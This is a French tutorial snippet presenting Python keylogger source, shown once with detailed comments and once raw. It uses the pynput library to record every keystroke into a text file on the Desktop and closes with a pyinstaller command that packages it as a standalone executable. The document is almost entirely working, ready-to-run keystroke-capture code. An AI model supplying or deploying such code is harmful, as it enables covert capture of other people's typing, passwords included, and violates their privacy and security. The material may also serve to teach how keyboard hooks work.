Il est bien sûr à adapter en fonction du chemin d’enregistrement du fichier de sortie.
from pynput import keyboard # importe le module 'pynput' qui permet d'intercepter les événements clavier
import os # importe le module 'os' pour manipuler les chemins de fichiers et dossiers
# Définit le chemin complet vers le fichier sur le Bureau de l'utilisateur courant
chemin = os.path.expanduser("~\\Desktop\\file.txt")
# os.path.expanduser("~") → retourne le dossier utilisateur courant (ex : C:\Users\Axel)
# "\\Desktop\\file.txt" → ajoute le sous-dossier Bureau et le nom du fichier
# Fonction appelée à chaque pression d'une touche
def on_press(key):
# Affiche dans la console la touche pressée
print("Touche appuyée :", key)
# Convertit l'objet 'key' (qui peut être une touche spéciale ou un caractère normal) en chaîne de caractères
k = str(key)
# Ouvre le fichier en mode "append" pour ajouter du texte à la fin
# Le 'with' gère automatiquement la fermeture du fichier à la fin du bloc
# 'f' est une variable temporaire qui représente le fichier ouvert
with open(chemin, "a", encoding="utf-8") as f:
f.write(k + "\n") # écrit la touche dans le fichier + passe à la ligne suivante
# Crée un Listener pour écouter le clavier
# on_press=on_press → indique la fonction à appeler à chaque pression d'une touche
with keyboard.Listener(on_press=on_press) as listener:
listener.join() # bloque le programme ici et garde le Listener actif tant qu'il n'est pas arrêté
Version brute :
from pynput import keyboard
import os
chemin = os.path.expanduser("~\\Desktop\\file.txt")
def on_press(key):
print("Touche appuyée :", key)
k = str(key)
with open(chemin, "a", encoding="utf-8") as f:
f.write(k + "\n")
with keyboard.Listener(on_press=on_press) as listener:
listener.join()
| Pour le rendre exécutable, allez dans le cmd : > pyinstaller –onefile keylogger.py |